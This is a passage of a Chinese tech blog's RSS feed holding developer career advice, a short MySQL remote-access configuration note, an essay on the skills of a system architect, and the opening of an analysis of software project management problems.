<p>　　在技术型团队中，技术与人品同等重要，当然长相也比较重要哈，尤其在MM比较多的团队中。在软件项目团队 中，技术水平是受人重视和尊重的重要砝码。无论你是做管理、系统分析、设计、编码，还是产品管理、测试、文档、实施、维护，多少你都要有技术基础。算我孤 陋寡闻，我还真没有亲眼看到过一个外行带领一个软件开发团队成功地完成过软件开发项目，哪怕就一个，也没有看到。倒是曾经看到过一个“高学历的牛人”(非 技术型)带一堆人做完过一个项目，项目交付的第二天，项目组成员扔下一句“再也受不了啦!”四分五裂、各奔东西。那个项目的“成功度”大家可想而知了。</p>
<p>　　4、详细制定自己软件开发专业知识学习计划，并注意及时修正和调整(软件开发技术变化实在太快)。</p>
<p>　　请牢记：“如果一个软件开发人员在1、2年内都没有更新过自己的知识，那么，其实他已经不再属于这个行业了。”不要告诉自己没有时间。来自时间管理领域的著名的“三八原则”告诫我们：另外的那8小时如何使用 将决定你的人生成败!本人自毕业以来，平均每天实际学习时间超过2小时。</p>
<p>　　5、书籍是人类进步的阶梯，对软件开发人员尤其如此。</p>
<p>　　书籍是学习知识的最有效途径，不要过多地指望在工作中能遇到“世外高人”，并不厌其烦地教你。对于花钱买书，我个人经验是：千万别买国内那帮人出的书!我买的那些 家伙出的书，100%全部后悔了，无一本例外。更气愤的是，这些书在二手市场的地摊上都很难卖掉。“拥有书籍并不表示拥有知识;拥有知识并不表示拥有技 能;拥有技能并不表示拥有文化;拥有文化并不表示拥有智慧。”只有将书本变成的自己智慧，才算是真正拥有了它。</p>
<p>　　6、不要仅局限于对某项 技术的表面使用上，哪怕你只是偶尔用一、二次。</p>
<p>　　“对任何事物不究就里”是任何行业的工程师所不应该具备的素质。开发Windows应用程序，看看 Windows程序的设计、加载、执行原理，分析一下PE文件格式，试试用SDK开发从头开发一个Windows应用程序;用VC++、</p>
<p>　　Delphi、Java、.Net开发应用程序，花时间去研究一下MFC、VCL、J2EE、.Net它们框架设计或者源码;除了会用J2EE、 JBoss、Spring、Hibernate等等优秀的开源产品或者框架，抽空看看大师们是如何抽象、分析、设计和实现那些类似问题的通用解决方案的。 试着这样做做，你以后的工作将会少遇到一些让你不明就里、一头雾水的问题，因为，很多东西你“知其然且知其所以然”!</p>
<p>　　7、在一种语言上编程，但别为其束缚了思想。</p>
<p>　　“代码大全”中说：“深入一门语言编程，不要浮于表面”。深入一门语言开发还远远不足，任何编程语言的存在都有其自身的理由， 所以也没有哪门语言是“包治百病”的“灵丹妙药”。编程语言对开发人员解决具体问题的思路和方式的影响与束缚的例子俯拾皆是。</p>
<p>　　我的经验是：用面对对象工具开发某些关键模块时，为什么不可以借鉴C、C51、汇编的模块化封装方式?用传统的桌面开发工具(目前主要有VC++、Delphi) 进行系统体统结构设计时，为什么不可以参考来自Java社区的IoC、AOP设计思想，甚至借鉴像Spring、Hibernate、JBoss等等优秀 的开源框架?在进行类似于实时通信、数据采集等功能的设计、实现时，为什么不可以引用来自实时系统、嵌入式系统的优秀的体系框架与模式?为什么一切都必须 以个人、团队在当然开发语言上的传统或者经验来解决问题???“他山之石、可以攻玉”。</p>
<p>　　8、养成总结与反思的习惯，并有意识地提炼日常工作成果，形成自己的个人源码库、解决某类问题的通用系统体系结构、甚至进化为框架。</p>
<p>　　众所周知，对软件开发人员而言，有、无经验的一个显著区别是：无经验 者完成任何任务时都从头开始，而有经验者往往通过重组自己的可复用模块、类库来解决问题(其实这个结论不应该被局限在软件开发领域、可以延伸到很多方 面)。这并不是说，所有可复用的东西都必须自己实现，别人成熟的通过测试的成果也可以收集、整理、集成到自己的知识库中。但是，最好还是自己实现，这样没 有知识产权、版权等问题，关键是自己实现后能真正掌握这个知识点，拥有这个技能。</p>
<p>　　9、理论与实践并重，内外双修。</p>
<p>　　工程师的内涵是：以工 程师的眼光观察、分析事物和世界。一个合格的软件工程师，是真正理解了软件产品的本质及软件产品研发的思想精髓的人(个人观点、欢迎探讨)。掌握软件开发 语言、应用语言工具解决工作中的具体问题、完成目标任务是软件工程师的主要工作，但从软件工程师这个角度来看，这只是外在的东西，并非重要的、本质的工 作。学习、掌握软件产品开发理论知识、软件开发方法论，并在实践中理解、应用软件产品的分析、设计、实现思想来解决具体的软件产品研发问题，才是真正的软 件工程师的工作。站在成熟理论与可靠方法论的高度思考、分析、解决问题，并在具体实践中验证和修正这些思想与方式，最终形成自己的理论体系和实用方法论。</p>
<p>　　10、心态有多开放，视野就有多开阔。</p>
<p>　　不要抱着自己的技术和成果，等到它们都已经过时变成垃圾了，才拿出来丢人现眼。请及时发布自己的研究成果：开发的 产品、有创意的设计或代码，公布出来让大家交流或者使用，你的成果才有进化和升华的机会。想想自己2000年间开发的那些Windows系统工具，5、6 年之后的今天，还是那个样子，今天流行的好多Windows系统工具都比自己的晚，但进化得很好，且有那么多用户在使用。并且，不要保守自己的技术和思 想，尽可能地与人交流与分享，或者传授给开发团队的成员。“与人交换苹果之后，每个人还是只有一个苹果;但交换思想之后，每个人都拥有两种思想”，道理大 家都懂，但有多少人真正能做到呢?</p>
<p>　　11、尽量参加开源项目的开发、或者与朋友共同研制一些自己的产品，千万不要因为没有钱赚而不做。</p>
<p>　　网络早已不再只是“虚拟世界”，网上有很多的开源项目、合作开发项目、外包项目，这都是涉猎工作以外的知识的绝好机会，并且能够结识更广的人缘。不要因为工 作是做ERP，就不去学习和了解嵌入式、实时、通信、网络等方面的技术，反过来也是一样。如果当别人拿着合同找你合作，你却这也不会，那也不熟时，你将后 悔莫及。</p>
<p>　　12、书到用时方恨少，不要将自己的知识面仅仅局限于技术方面。</p>
<p>　　诺贝尔经济学奖得主西蒙教授的研究结果表明：“对于一个有一定基础的人来说，他只要真正肯下功夫，在6个月内就可以掌握任何一门学问。”教育心理学界为感谢西蒙教授的研究成果，故命名为西蒙学习法。</p>
<p>　　可见，掌握一门陌生的学问远远没有想象的那么高难、深奥。多方吸取、广泛涉猎。极力夯实自己的影响圈、尽量扩大自己的关注圈。财务、经济、税务、管理等等知识，有空花时间看看，韬光养晦、未雨绸缪。</p>
<p>　　13、本文的总结与反思：</p>
<p>　　A：不要去做技术上的高手，除非你的目标如此。虽然本文是关于提高软件开发知识的建议，做技术的高手是我一向都不赞同的。你可以提高自己的专业知识，但能胜任工作即止。</p>
<p>　　B：提高软件知识和技术只是问题的表面，本质是要提高自己认识问题、分析问题、解决问题的思想高度。软件专业知识的很多方法和原理，可以很容易地延伸、应用到生活的其它方面。</p>
<p>　　C：在能胜任工作的基础上，立即去涉猎其它领域的专业知识，丰富自己的知识体系、提高自己的综合素质，尤其是那些目标不在技术方面的朋友。</p>
]]></description>
			<content:encoded><![CDATA[<p>　1、分享第一条经验：“学历代表过去、能力代表现在、学习力代表未来。”</p>
<p>　　其实这是一个来自国外教育领域的一个研究结果。相信工作过几年、十几年的朋友对这个道理有些体会吧。但我相信这一点也很重要：“重要的道理明白太晚将抱憾终生!”所以放在每一条，让刚刚毕业的朋友们早点看到哈!</p>
<p>　　2、一定要确定自己的发展方向，并为此目的制定可行的计划。</p>
<p>　　不要说什么，“我刚毕业，还不知道将来可能做什么?”，“跟着感觉走，先做做看”。因为，这样的观点会通过 你的潜意识去暗示你的行为无所事事、碌碌无为。一直做技术，将来成为专家级人物?向管理方向走，成为职业经理人?先熟悉行业和领域，将来自立门户?还是先 在行业里面混混，过几年转行做点别的?这很重要，它将决定你近几年、十年内“做什么事情才是在做正确的事情!”。</p>
<p>　　3、软件开发团队中，技术不是万能的，但没有技术是万万不能的!</p>
<p>　　在技术型团队中，技术与人品同等重要，当然长相也比较重要哈，尤其在MM比较多的团队中。在软件项目团队 中，技术水平是受人重视和尊重的重要砝码。无论你是做管理、系统分析、设计、编码，还是产品管理、测试、文档、实施、维护，多少你都要有技术基础。算我孤 陋寡闻，我还真没有亲眼看到过一个外行带领一个软件开发团队成功地完成过软件开发项目，哪怕就一个，也没有看到。倒是曾经看到过一个“高学历的牛人”(非 技术型)带一堆人做完过一个项目，项目交付的第二天，项目组成员扔下一句“再也受不了啦!”四分五裂、各奔东西。那个项目的“成功度”大家可想而知了。</p>
<p>　　<span id="more-1365"></span>4、详细制定自己软件开发专业知识学习计划，并注意及时修正和调整(软件开发技术变化实在太快)。</p>
<p>　　请牢记：“如果一个软件开发人员在1、2年内都没有更新过自己的知识，那么，其实他已经不再属于这个行业了。”不要告诉自己没有时间。来自时间管理领域的著名的“三八原则”告诫我们：另外的那8小时如何使用 将决定你的人生成败!本人自毕业以来，平均每天实际学习时间超过2小时。</p>
<p>　　5、书籍是人类进步的阶梯，对软件开发人员尤其如此。</p>
<p>　　书籍是学习知识的最有效途径，不要过多地指望在工作中能遇到“世外高人”，并不厌其烦地教你。对于花钱买书，我个人经验是：千万别买国内那帮人出的书!我买的那些 家伙出的书，100%全部后悔了，无一本例外。更气愤的是，这些书在二手市场的地摊上都很难卖掉。“拥有书籍并不表示拥有知识;拥有知识并不表示拥有技 能;拥有技能并不表示拥有文化;拥有文化并不表示拥有智慧。”只有将书本变成的自己智慧，才算是真正拥有了它。</p>
<p>　　6、不要仅局限于对某项 技术的表面使用上，哪怕你只是偶尔用一、二次。</p>
<p>　　“对任何事物不究就里”是任何行业的工程师所不应该具备的素质。开发Windows应用程序，看看 Windows程序的设计、加载、执行原理，分析一下PE文件格式，试试用SDK开发从头开发一个Windows应用程序;用VC++、</p>
<p>　　Delphi、Java、.Net开发应用程序，花时间去研究一下MFC、VCL、J2EE、.Net它们框架设计或者源码;除了会用J2EE、 JBoss、Spring、Hibernate等等优秀的开源产品或者框架，抽空看看大师们是如何抽象、分析、设计和实现那些类似问题的通用解决方案的。 试着这样做做，你以后的工作将会少遇到一些让你不明就里、一头雾水的问题，因为，很多东西你“知其然且知其所以然”!</p>
<p>　　7、在一种语言上编程，但别为其束缚了思想。</p>
<p>　　“代码大全”中说：“深入一门语言编程，不要浮于表面”。深入一门语言开发还远远不足，任何编程语言的存在都有其自身的理由， 所以也没有哪门语言是“包治百病”的“灵丹妙药”。编程语言对开发人员解决具体问题的思路和方式的影响与束缚的例子俯拾皆是。</p>
<p>　　我的经验是：用面对对象工具开发某些关键模块时，为什么不可以借鉴C、C51、汇编的模块化封装方式?用传统的桌面开发工具(目前主要有VC++、Delphi) 进行系统体统结构设计时，为什么不可以参考来自Java社区的IoC、AOP设计思想，甚至借鉴像Spring、Hibernate、JBoss等等优秀 的开源框架?在进行类似于实时通信、数据采集等功能的设计、实现时，为什么不可以引用来自实时系统、嵌入式系统的优秀的体系框架与模式?为什么一切都必须 以个人、团队在当然开发语言上的传统或者经验来解决问题???“他山之石、可以攻玉”。</p>
<p>　　8、养成总结与反思的习惯，并有意识地提炼日常工作成果，形成自己的个人源码库、解决某类问题的通用系统体系结构、甚至进化为框架。</p>
<p>　　众所周知，对软件开发人员而言，有、无经验的一个显著区别是：无经验 者完成任何任务时都从头开始，而有经验者往往通过重组自己的可复用模块、类库来解决问题(其实这个结论不应该被局限在软件开发领域、可以延伸到很多方 面)。这并不是说，所有可复用的东西都必须自己实现，别人成熟的通过测试的成果也可以收集、整理、集成到自己的知识库中。但是，最好还是自己实现，这样没 有知识产权、版权等问题，关键是自己实现后能真正掌握这个知识点，拥有这个技能。</p>
<p>　　9、理论与实践并重，内外双修。</p>
<p>　　工程师的内涵是：以工 程师的眼光观察、分析事物和世界。一个合格的软件工程师，是真正理解了软件产品的本质及软件产品研发的思想精髓的人(个人观点、欢迎探讨)。掌握软件开发 语言、应用语言工具解决工作中的具体问题、完成目标任务是软件工程师的主要工作，但从软件工程师这个角度来看，这只是外在的东西，并非重要的、本质的工 作。学习、掌握软件产品开发理论知识、软件开发方法论，并在实践中理解、应用软件产品的分析、设计、实现思想来解决具体的软件产品研发问题，才是真正的软 件工程师的工作。站在成熟理论与可靠方法论的高度思考、分析、解决问题，并在具体实践中验证和修正这些思想与方式，最终形成自己的理论体系和实用方法论。</p>
<p>　　10、心态有多开放，视野就有多开阔。</p>
<p>　　不要抱着自己的技术和成果，等到它们都已经过时变成垃圾了，才拿出来丢人现眼。请及时发布自己的研究成果：开发的 产品、有创意的设计或代码，公布出来让大家交流或者使用，你的成果才有进化和升华的机会。想想自己2000年间开发的那些Windows系统工具，5、6 年之后的今天，还是那个样子，今天流行的好多Windows系统工具都比自己的晚，但进化得很好，且有那么多用户在使用。并且，不要保守自己的技术和思 想，尽可能地与人交流与分享，或者传授给开发团队的成员。“与人交换苹果之后，每个人还是只有一个苹果;但交换思想之后，每个人都拥有两种思想”，道理大 家都懂，但有多少人真正能做到呢?</p>
<p>　　11、尽量参加开源项目的开发、或者与朋友共同研制一些自己的产品，千万不要因为没有钱赚而不做。</p>
<p>　　网络早已不再只是“虚拟世界”，网上有很多的开源项目、合作开发项目、外包项目，这都是涉猎工作以外的知识的绝好机会，并且能够结识更广的人缘。不要因为工 作是做ERP，就不去学习和了解嵌入式、实时、通信、网络等方面的技术，反过来也是一样。如果当别人拿着合同找你合作，你却这也不会，那也不熟时，你将后 悔莫及。</p>
<p>　　12、书到用时方恨少，不要将自己的知识面仅仅局限于技术方面。</p>
<p>　　诺贝尔经济学奖得主西蒙教授的研究结果表明：“对于一个有一定基础的人来说，他只要真正肯下功夫，在6个月内就可以掌握任何一门学问。”教育心理学界为感谢西蒙教授的研究成果，故命名为西蒙学习法。</p>
<p>　　可见，掌握一门陌生的学问远远没有想象的那么高难、深奥。多方吸取、广泛涉猎。极力夯实自己的影响圈、尽量扩大自己的关注圈。财务、经济、税务、管理等等知识，有空花时间看看，韬光养晦、未雨绸缪。</p>
<p>　　13、本文的总结与反思：</p>
<p>　　A：不要去做技术上的高手，除非你的目标如此。虽然本文是关于提高软件开发知识的建议，做技术的高手是我一向都不赞同的。你可以提高自己的专业知识，但能胜任工作即止。</p>
<p>　　B：提高软件知识和技术只是问题的表面，本质是要提高自己认识问题、分析问题、解决问题的思想高度。软件专业知识的很多方法和原理，可以很容易地延伸、应用到生活的其它方面。</p>
<p>　　C：在能胜任工作的基础上，立即去涉猎其它领域的专业知识，丰富自己的知识体系、提高自己的综合素质，尤其是那些目标不在技术方面的朋友。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1365.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MySQL允许远程连接的设置总结</title>
		<link>http://www.evanjiang.net.cn/archives/1363.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1363.html#comments</comments>
		<pubDate>Wed, 25 Nov 2009 02:45:34 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[mysql]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1363</guid>
		<description><![CDATA[<p>1.修改MySQL配置文件（/etc/mysql/my.cnf），注释以下行：
#bind-address = 127.0.0.1</p>
<p>2.重启mysql数据库，对于Ubuntu系统，执行如下命令
sudo /etc/init.d/mysql restart</p>
<p>3.以root用户登录mysql后，执行如下命令：
grant all privileges on *.* to root@’允许登录的远程机器ip’
identified by ‘密码’</p>
<p>其中，*.*表示该主机中所有数据库的所有表。（数据库.表）
“给某IP地址上登录的root用户授予访问所有数据库中的所有表的所有权限”　 </p>
]]></description>
			<content:encoded><![CDATA[<p>1.修改MySQL配置文件（/etc/mysql/my.cnf），注释以下行：<br />
#bind-address = 127.0.0.1</p>
<p>2.重启mysql数据库，对于Ubuntu系统，执行如下命令<br />
sudo /etc/init.d/mysql restart</p>
<p>3.以root用户登录mysql后，执行如下命令：<br />
grant all privileges on *.* to root@’允许登录的远程机器ip’<br />
identified by ‘密码’</p>
<p>其中，*.*表示该主机中所有数据库的所有表。（数据库.表）<br />
“给某IP地址上登录的root用户授予访问所有数据库中的所有表的所有权限”　 </p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1363.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>系统架构师的修炼</title>
		<link>http://www.evanjiang.net.cn/archives/1361.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1361.html#comments</comments>
		<pubDate>Wed, 25 Nov 2009 02:06:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[系统架构]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1361</guid>
		<description><![CDATA[<p>最近应聘系统架构师，面试回答一些问题，加上之前做的一些功课，搜索到一些文章，感觉有必要总结一下，到底如何做一个成功的系统架构师呢？
首先，何谓系统架构师？
 IBM工程师的说明是：
  架构师的主要责任是提供开发人员和项目经理之间的共用沟通媒体。他们负责让业务规则及需求与工程实践及限制相适应，以确保成功
 中文Wiki上的说明是：
  系统架构师负责设计系统整体架构，从需求到设计的每个细节都要考虑到，把握整个项目，使设计的项目尽量效率高，开发容易，维护方便，升级简单
 这两个解释，加起来基本说明系统架构师的定义。</p>
<p>JAVA系统架构师应该看的几本书
Thinking in Java
Effective Java
UML基础、案例与应用
UML入门提高
软件工匠
设计模式——可复用面向对象软件的基础
重构-改善既有代码的设计
敏捷软件开发-原则、模式、实践
企业应用架构模式
Expert One-on-One J2EE Development without EJB
 
软件工程——实践者的研究方法
软件领导－－成功开发软件的指导准则
后面的两本书，其实已经有点属于项目经理的范畴，不过还不是很深入，看看对做成功的系统架构师是很有好处。
企业应用的系统架构师应该关注的几个方面
数据持久层的设计
 在Spring和Hibernate，ibatis出来以前，几乎每家公司都有自己的一套方法和架构，而架构师的50％的精力也会集中到这上面，EJB只是增加架构师的负担。在Spring出来以后，基本上，大多数的架构师都从重复设计这个轮子的无用功中解脱出来。Rod的轮子太好用，基本上，大家只要套上去就行，或者，剩下最重要的事情，是选择一个合适的数据库连接池的开源项目吧
MVC架构的具体设计
 MVC只是个概要的概念，具体如何实现的具体技术很多，根据项目设计最恰当的架构
大并发性访问
 使用缓存，在数据量达到一定程度时，使用集群技术，优先考虑利用服务器的集群，其次是硬件集群，最后才是应用本身加入集群功能
超大数据量返回结果
 尽量使用分页，优化SQL语句，循环处理数据时尽可能共用对象，只保留关键数据，及时释放内存占用
超大文件的读取和生成
 尽可能快的读取大文件，并进行分析。写入大文件时，如何及时释放内存。学会适当利用操作系统的命令行资源来更快完成任务。</p>
<p>多线程的应用和管理
 线程池的管理和监控，线程的启动（包括定时启动），结束，回收，线程资源的释放</p>
<p>用户界面可用性设计
 平衡速度和可用性，恰当的使用异步和同步技术，展现关键数据为重点
分布式的数据交流和集成
 选择恰当的数据交互方式，从最泛滥低效的Web Service到最实用的文件共享
群集系统的管理
 如何确保缓存的同步？如何确保对象唯一性？如何保证各台机器的同步？
 是否采用EJB?如何利用J2EE的特性（例如JNDI)
复杂的业务规则
 规则引擎和工作流引擎场景和应用</p>
<p>其实，作为一个真正的系统架构师，不应该局限于企业应用的系统，这种系统往往有数据库的局限性，有时候，应该考虑是否可以横向跨越，直接对其它系统做一些架构考虑，在没有丰富的实战经验的前提下，而只是看其它人的系统和代码，就能够给出有效的设计指导。
例如对于一个下载软件，可以有如下考虑：
 1. 未明和非法url的检验，已经下载失败的容许，信息记录
 2. 多线程下载一个文件,文件的切分和拼合，部分切片丢失的拼合可能性
 3. 下载线程管理
 4. 服务器或者P2P的机器之间的通讯协议
 5. 速度监控和限制
 6. 下载进度的监控和显示
作为一个在线播放软件,可以做如下考虑
 1. 播放速度的保证
   机器的问题基本不存在，关键是网络问题。如何在检测网络速度，根据影片的质量，并缓冲足够多的内容，保证播放一直尽可能顺利的完成。
 2. 播放质量的保证
   如何利用DirectX等技术,最快的进行渲染,是自己写底层,还是利用已有的API
由于没做过类似的项目，可以写的东西还是少很多。
系统架构师应该有的素质：
1、 实际的编程经验
  最少2年吧，多就不说，其实从大学就开始钻研的话，
2、 书面表达能力和口头交流能力
 [...]]]></description>
			<content:encoded><![CDATA[<p>最近应聘系统架构师，面试回答一些问题，加上之前做的一些功课，搜索到一些文章，感觉有必要总结一下，到底如何做一个成功的系统架构师呢？<br />
首先，何谓系统架构师？<br />
 IBM工程师的说明是：<br />
  架构师的主要责任是提供开发人员和项目经理之间的共用沟通媒体。他们负责让业务规则及需求与工程实践及限制相适应，以确保成功<br />
 中文Wiki上的说明是：<br />
  系统架构师负责设计系统整体架构，从需求到设计的每个细节都要考虑到，把握整个项目，使设计的项目尽量效率高，开发容易，维护方便，升级简单<br />
 这两个解释，加起来基本说明系统架构师的定义。</p>
<p>JAVA系统架构师应该看的几本书<br />
Thinking in Java<br />
Effective Java<br />
UML基础、案例与应用<br />
UML入门提高<br />
软件工匠<br />
设计模式——可复用面向对象软件的基础<br />
重构-改善既有代码的设计<br />
敏捷软件开发-原则、模式、实践<br />
企业应用架构模式<br />
Expert One-on-One J2EE Development without EJB<br />
 <span id="more-1361"></span><br />
软件工程——实践者的研究方法<br />
软件领导－－成功开发软件的指导准则<br />
后面的两本书，其实已经有点属于项目经理的范畴，不过还不是很深入，看看对做成功的系统架构师是很有好处。<br />
企业应用的系统架构师应该关注的几个方面<br />
数据持久层的设计<br />
 在Spring和Hibernate，ibatis出来以前，几乎每家公司都有自己的一套方法和架构，而架构师的50％的精力也会集中到这上面，EJB只是增加架构师的负担。在Spring出来以后，基本上，大多数的架构师都从重复设计这个轮子的无用功中解脱出来。Rod的轮子太好用，基本上，大家只要套上去就行，或者，剩下最重要的事情，是选择一个合适的数据库连接池的开源项目吧<br />
MVC架构的具体设计<br />
 MVC只是个概要的概念，具体如何实现的具体技术很多，根据项目设计最恰当的架构<br />
大并发性访问<br />
 使用缓存，在数据量达到一定程度时，使用集群技术，优先考虑利用服务器的集群，其次是硬件集群，最后才是应用本身加入集群功能<br />
超大数据量返回结果<br />
 尽量使用分页，优化SQL语句，循环处理数据时尽可能共用对象，只保留关键数据，及时释放内存占用<br />
超大文件的读取和生成<br />
 尽可能快的读取大文件，并进行分析。写入大文件时，如何及时释放内存。学会适当利用操作系统的命令行资源来更快完成任务。</p>
<p>多线程的应用和管理<br />
 线程池的管理和监控，线程的启动（包括定时启动），结束，回收，线程资源的释放</p>
<p>用户界面可用性设计<br />
 平衡速度和可用性，恰当的使用异步和同步技术，展现关键数据为重点<br />
分布式的数据交流和集成<br />
 选择恰当的数据交互方式，从最泛滥低效的Web Service到最实用的文件共享<br />
群集系统的管理<br />
 如何确保缓存的同步？如何确保对象唯一性？如何保证各台机器的同步？<br />
 是否采用EJB?如何利用J2EE的特性（例如JNDI)<br />
复杂的业务规则<br />
 规则引擎和工作流引擎场景和应用</p>
<p>其实，作为一个真正的系统架构师，不应该局限于企业应用的系统，这种系统往往有数据库的局限性，有时候，应该考虑是否可以横向跨越，直接对其它系统做一些架构考虑，在没有丰富的实战经验的前提下，而只是看其它人的系统和代码，就能够给出有效的设计指导。<br />
例如对于一个下载软件，可以有如下考虑：<br />
 1. 未明和非法url的检验，已经下载失败的容许，信息记录<br />
 2. 多线程下载一个文件,文件的切分和拼合，部分切片丢失的拼合可能性<br />
 3. 下载线程管理<br />
 4. 服务器或者P2P的机器之间的通讯协议<br />
 5. 速度监控和限制<br />
 6. 下载进度的监控和显示<br />
作为一个在线播放软件,可以做如下考虑<br />
 1. 播放速度的保证<br />
   机器的问题基本不存在，关键是网络问题。如何在检测网络速度，根据影片的质量，并缓冲足够多的内容，保证播放一直尽可能顺利的完成。<br />
 2. 播放质量的保证<br />
   如何利用DirectX等技术,最快的进行渲染,是自己写底层,还是利用已有的API<br />
由于没做过类似的项目，可以写的东西还是少很多。<br />
系统架构师应该有的素质：<br />
1、 实际的编程经验<br />
  最少2年吧，多就不说，其实从大学就开始钻研的话，<br />
2、 书面表达能力和口头交流能力<br />
   综合利用架构图，UML图，文字和代码片断，表达自己设计思想，至于是Word还是ppt，应该通吃<br />
  在开发人员中发现架构师的最有价值标准是有效的沟通。您需要技术娴熟、经验丰富的开发人员，这样的人员需要有就项目中的业务相关问题进行沟通的经历。架构师经常必须对理解方面的差距进行预计，然后才能有所贡献。他们必须愿意克服困难来确保技术和业务观点的融合。他们并不必对意见交换工作进行计划和协调;这仍然主要是项目经理的工作。他们的任务是确定表述系统设计时的最佳工具和构件，以促进有效的意见交换。他们必须能够判断当前方法显得不足而需要采用新方法的情况。写作技能也非常重要，还需要具有制作草图的技能或使用制图软件的能力。<br />
 3、 自觉主动;积极解决设计问题<br />
  架构师的日常工作目标经常并不明确。很多开发人员直接参考功能规范来列出任务清单。架构师通常则是向这些开发人员提供所需结构的人员，以便尽可能提高工作效率。好的候选者不仅进行沟通方面的工作，而且也会预计各种设计问题并加以解决——通常在没有任何具体指示的情况下自觉进行。无论所分配的职责如何，积极参与项目的开发人员都有机会从一起工作的人员中脱颖而出。<br />
4、 抽象思维能力和总结能力<br />
  架构师，顾名思义，在系统未搭建好之前，就要能够有一个草图在心。而如果是对现有系统的改造，那么能在看过系统的文档（如果有的话）和代码后，就能总结出系统的架构特点。<br />
  架构师必须能够理解表述模糊的概念并将其变成相关各方能够理解的项目构件。他们必须能够理解抽象概念，并以具体的语言对其进行沟通。开发人员中好的候选者经常要求或自己主动解释开发生命周期中容易混淆的问题。他们能迅速评估各种想法并将其纳入后续工作的操作建议中。<br />
  开发人员经常具有很强的数学能力，而好的架构师则倾向于表现出更强的口头表达能力。管理人员经常说开发人员具有“工程意识”，而这是一个用于评估架构师的非常有意义的方面。架构师应该具有很强的解决技术问题的能力，但还必须能够准确获知更为全面的人员如何与技术交互的信息。这要求具有某种形式的抽象思维(而不再是代码的细节)，这种思维能力可能较难形成。<br />
5、 全面的技术资讯吸收能力和选择鉴别能力<br />
  作为开发人员出身，对于某一个具体问题的研究能力（虽然很多人总结为google能力），已经相当具备。但是对技术资讯的全面接受和选择性深入解能力，并且做出正确的判断，那些技术无非是厂家的噱头，而那些技术是真正可以用到项目，提高项目质量的好技术，这种能力确实至关重要的。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1361.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>软件项目管理常见问题分析</title>
		<link>http://www.evanjiang.net.cn/archives/1354.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1354.html#comments</comments>
		<pubDate>Sat, 17 Oct 2009 07:53:43 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[项目管理]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1354</guid>
		<description><![CDATA[<p>摘要： </p>
<p>本文分析了软件项目管理常见问题：缺乏项目管理系统培训、项目计划意识问题、管理意识问题、沟通意识问题、风险管理意识问题、不重视项目经验的总结、项目干系人相关问题、项目团队内分工协作问题，抛砖引玉地提出了部分解决方案，提出了项目约束绳与多重目标模型。 </p>
<p>关键字： </p>
<p>软件项目管理、问题、分析 </p>
<p>正文： </p>
<p>目前许多软件开发公司实行了ISO质量管理体系，也有越来越多的公司通过了CMM软件成熟度相应级别认证。各软件在制定ISO质量管理体系时结合了部分项目管理的思想和技术，因此这些经过认证的公司的项目管理工作在ISO质量管理体系或CMM的帮助或约束下已有一定的规范，项目可以按照规定的过程一步一步做下去。但ISO体系注重的是质量管理（即用过程保证质量），早期更多的是针对制造业，而CMM主要是针对软件开发过程的关键过程域，都没有针对项目管理的全部范畴，如对于整体、范围、进度、人力资源、成本、沟通、风险、采购等的管理，即使有涉及到也是在专业范围内通过对过程的把握来保证各种质量要求，而在过程规定之外还需要依靠项目相关各方运用项目管理知识、工具、集体与个人的智慧来使项目管理做得更好，以保证项目在使用最少的时间、资源情况下按时保质地完成。 </p>
<p>最近通过几次 “项目管理知识培训”，本人系统地学习了项目管理基础和项目管理实践等课程，掌握了项目管理在系统集成方面应用所必备的知识。结合所学的项目管理知识，我们可以对照我们原来的项目管理工作中存在的常见问题，利用项目管理知识进行分析，并提出解决的方案，希望有利于大家逐步改进我们的项目管理工作。这些方案因受到本人知识和工作经验的局限，只能起到一个抛砖引玉或参考的作用。 </p>
<p>分析目前项目管理需要改进的问题可以从几种相关角色的角度去考虑：项目经理、项目组成员、公司管理人员、市场人员、客户等。 </p>
<p>问题一：缺乏项目管理系统培训 </p>
<p>相关对象：项目经理、管理人员 </p>
<p>问题说明：项目经理在项目管理方面的培训较少或不够系统。项目经理或管理人员不了解项目管理的知识体系和一些常用工具和方法，所以在实际工作中没有项目管理知识的指导，完全依靠个人现有的知识技能，管理工作的随意性、盲目性比较大。有些学员说：“听了这些课才知道项目管理原来还有这么多的学问。”例如对于如何利用工作分解结构使项目的工作范围更加明确，如何用前导图法对活动进行排序并估算项目进度、制定项目进度计划，如何利用挣值法跟踪项目进度，项目经理的职责与必备素质、应具备的能力、工作方法，如何根据各种组织结构及其优缺点进行选择，如何对于风险进行定性定量分析等等，通过这次培训有了初步的掌握，将能够很快地应用到实际工作中。 </p>
<p>问题点评：在软件企业中，以前几乎没有专门招收项目管理专业的人员来担任项目经理（甚至很少是管理专业的），被任命的项目经理主要是因为他们能够在技术上独当一面，而管理方面特别是项目管理方面的知识比较缺乏。因此项目经理接受系统的项目管理知识培训是非常必要的，有了专业领域的知识与实践，再加上项目管理知识与实践和一般管理的知识和经验的有机结合，必能大大提高项目经理的项目管理水平。 </p>
<p>解决方案：实行项目经理知识技能资格考核制度，让项目经理自觉补充学习项目管理的知识和一些常用工具和方法。 </p>
<p>问题二：项目计划意识问题 </p>
<p>相关对象：项目经理 </p>
<p>问题说明：项目经理对总体计划、阶段计划的作用认识不足。项目经理认为计划不如变化快，项目中也有很多不确定的因素，做计划是走过场，因此制定总体计划时比较随意，不少事情没有仔细考虑；阶段计划因工作忙等理由经常拖延，造成计划与控制管理脱节，无法进行有效的进度控制管理。

